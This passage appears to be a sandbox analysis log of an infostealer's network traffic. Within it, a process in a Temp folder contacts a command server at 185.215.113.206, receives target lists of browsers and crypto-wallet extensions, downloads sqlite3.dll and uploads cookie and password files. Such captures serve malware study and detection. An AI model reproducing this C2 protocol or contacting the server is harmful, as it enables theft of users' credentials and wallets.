Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 16, 2024 10:37:41.471952915 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 16, 2024 10:37:41.481980085 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEBGHDBKEBGIDHJJEHC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="message"plugins------CAEBGHDBKEBGIDHJJEHC--
Dec 16, 2024 10:37:41.921778917 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:41 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 16, 2024 10:37:41.921869993 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 16, 2024 10:37:41.921883106 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 16, 2024 10:37:41.922051907 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 16, 2024 10:37:41.922063112 CET	496	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Dec 16, 2024 10:37:41.922075987 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 35 74 62 47 39 70 61 6d 4a 77 62 32 78 6c 61 57 46 74 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 Data Ascii: IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXB
Dec 16, 2024 10:37:41.922086954 CET	668	IN	Data Raw: 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 78 74 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 Data Ascii: bWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGV
Dec 16, 2024 10:37:41.923811913 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 2d 2d 0d 0a Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="message"fplugins------IDAAFBGDBKJJJKFIIIJJ--
Dec 16, 2024 10:37:42.363054991 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:42 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 16, 2024 10:37:42.380362988 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHC Host: 185.215.113.206 Content-Length: 6891 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 10:37:42.380426884 CET	6891	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 Data Ascii: ------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 16, 2024 10:37:43.443284988 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 10:37:43.444530964 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 10:37:43.881905079 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 16, 2024 10:37:43.881962061 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 16, 2024 10:37:43.886291027 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49857	185.215.113.206	80	8088	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 10:37:53.029489040 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHC Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HCFBFBAEBKJKEBGCAEHC--
Dec 16, 2024 10:37:54.886821032 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 10:37:55.008641958 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file"------EGIJKEHCAKFCAKFHDAAA--
Dec 16, 2024 10:37:55.949364901 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49896	185.215.113.206	80	8088	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 10:38:08.033910990 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGIIJDGHCAKFHJEHCF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="file"------AKEGIIJDGHCAKFHJEHCF--
